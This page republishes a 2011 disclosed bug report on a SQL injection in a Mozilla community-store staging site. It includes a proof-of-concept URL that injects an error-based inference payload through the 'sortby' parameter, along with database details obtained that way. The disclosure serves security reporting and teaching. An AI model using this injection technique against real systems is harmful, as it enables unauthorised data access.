Skip to content
SQL injection Disclosed report

community-store.authstage.mozilla.com SQL Injection

Luca De Fulgentis Follow

Originally disclosed on Mozilla

  • Fixed in 2 months
  • Paid in 2.6 years
  • Disclosed after 2 months
Text
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13
Build Identifier: 

Hello Mozilla,
I found a SQL injection in "community-store.authstage.mozilla.com" web application. I was able to exploit the injection via "sortby" parameter and read MySQL variables value. The follows is a proof of concept exploit that I used in order to inference the database() variable length value: If the system var is 21 bytes len then the "(select 1 union select 2)" statements are executed triggering an application error. Otherwise no error message is displayed.

https://community-store.authstage.mozilla.com/admin/review?order=asc&sortby=+if(length(database())=21,(select+1+union+select+2),type)

I'm also reporting some variable's value inferenced thanks to the described method:

user()     => [address removed] 
version()  => 5.0.77-log
database() => community_store_stage

Thank you,
Luca De Fulentis

Reproducible: Always

The original report as published on Mozilla's Bugzilla, by Luca De Fulgentis. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A SQL injection bug in communitystore.mozilla.org. Mozilla made it public on 15 June 2011.

About SQL injection

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by Luca De Fulgentis

View all

4 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.